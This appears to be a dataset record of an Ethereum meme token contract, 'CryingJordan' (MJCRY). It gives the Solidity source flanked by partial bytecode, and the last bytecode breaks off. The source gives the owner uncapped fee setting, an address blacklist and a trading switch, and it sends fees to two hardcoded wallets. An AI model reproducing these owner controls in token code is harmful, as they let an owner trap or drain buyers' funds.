5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d18576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dac565b610d2b83826115ca90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9d5780601f10610f7257610100808354040283529160200191610f9d565b820191906000526020600020905b815481529060010190602001808311610f8057829003601f168201915b505050505081565b6000610fb183836119c0565b905092915050565b600061104a82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112d757600080fd5b5af115156112e457600080fd5b50505060405180519050905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561141557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153157600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156115aa57600080fd5b565b60006115c360075483611be490919063ffffffff16565b9050919050565b60008282111515156115d857fe5b818303905092915050565b60008082840190508381101515156115f757fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163e57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561168c57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561171757600080fd5b61176982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ca90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117fe82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ca90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119fd57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a4b57600080fd5b611a9d82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ca90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b3282600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000806000841415611bf95760009150611c18565b8284029050828482811515611c0a57fe5b04141515611c1457fe5b8091505b50929150505600a165627a7a72305820a13f1037303b3e705c7a2764e03350d589c1fc101ee0b2de4f0a4484fcb784e20029
|
{"success": true, "error": null, "results": {}}
| 8,230 |
0xd8e21579be40011e0e21c0e83b3da366ce47d7a1
|
/**
*/
/*
CryingJordan (CryingJordan)
Official Links:
Telegram:
https://t.me/CryingJordanETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CryingJordan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CryingJordan";
string private constant _symbol = "MJCRY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x389d73C1f67b4e235C6ED2859832252E399aAbd0);
address payable private _marketingAddress = payable(0xf47c656a5eabcceD696ff89bcC49f49b4ee4BDE0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 750000000000 * 10**10; //0.75
uint256 public _maxWalletSize = 1000000000000 * 10**10; //1
uint256 public _swapTokensAtAmount = 10000000000 * 10**10; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612cd6565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c919061311f565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c9a565b61086d565b60405161025991906130e9565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190613104565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af9190613301565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612c0f565b6108c3565b6040516102ec91906130e9565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612c5e565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b6040516103409190613301565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613376565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b60405161039691906130ce565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612b81565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612d17565b610c44565b005b3480156103fd57600080fd5b50610406610cf5565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612b81565b610dc6565b60405161043c9190613301565b60405180910390f35b34801561045157600080fd5b5061045a610e17565b005b34801561046857600080fd5b50610483600480360381019061047e9190612d40565b610f6a565b005b34801561049157600080fd5b5061049a611009565b6040516104a79190613301565b60405180910390f35b3480156104bc57600080fd5b506104c561100f565b6040516104d291906130ce565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612d17565b611038565b005b34801561051057600080fd5b506105196110ea565b6040516105269190613301565b60405180910390f35b34801561053b57600080fd5b506105446110f0565b604051610551919061311f565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612d40565b61112d565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d69565b6111cc565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612c9a565b611283565b6040516105e091906130e9565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612b81565b6112a1565b60405161061d91906130e9565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612b81565b6112c1565b60405161065a91906130e9565b60405180910390f35b34801561066f57600080fd5b506106786112e1565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612bd3565b6113ba565b6040516106ae9190613301565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612d40565b611441565b005b6106e86114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613261565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108249061363b565b915050610778565b5050565b60606040518060400160405280600c81526020017f437279696e674a6f7264616e0000000000000000000000000000000000000000815250905090565b600061088161087a6114e0565b84846114e8565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846116b3565b610991846108dc6114e0565b61098c85604051806060016040528060288152602001613b2260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109426114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea39092919063ffffffff16565b6114e8565b600190509392505050565b6109a46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613261565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90613221565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613261565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613261565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d366114e0565b73ffffffffffffffffffffffffffffffffffffffff161480610dac5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d946114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b610db557600080fd5b6000479050610dc381611f07565b50565b6000610e10600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612002565b9050919050565b610e1f6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613261565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f726114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690613261565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110406114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490613261565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f4d4a435259000000000000000000000000000000000000000000000000000000815250905090565b6111356114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990613261565b60405180910390fd5b8060198190555050565b6111d46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890613261565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112976112906114e0565b84846116b3565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113226114e0565b73ffffffffffffffffffffffffffffffffffffffff1614806113985750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113806114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b6113a157600080fd5b60006113ac30610dc6565b90506113b781612070565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114496114e0565b7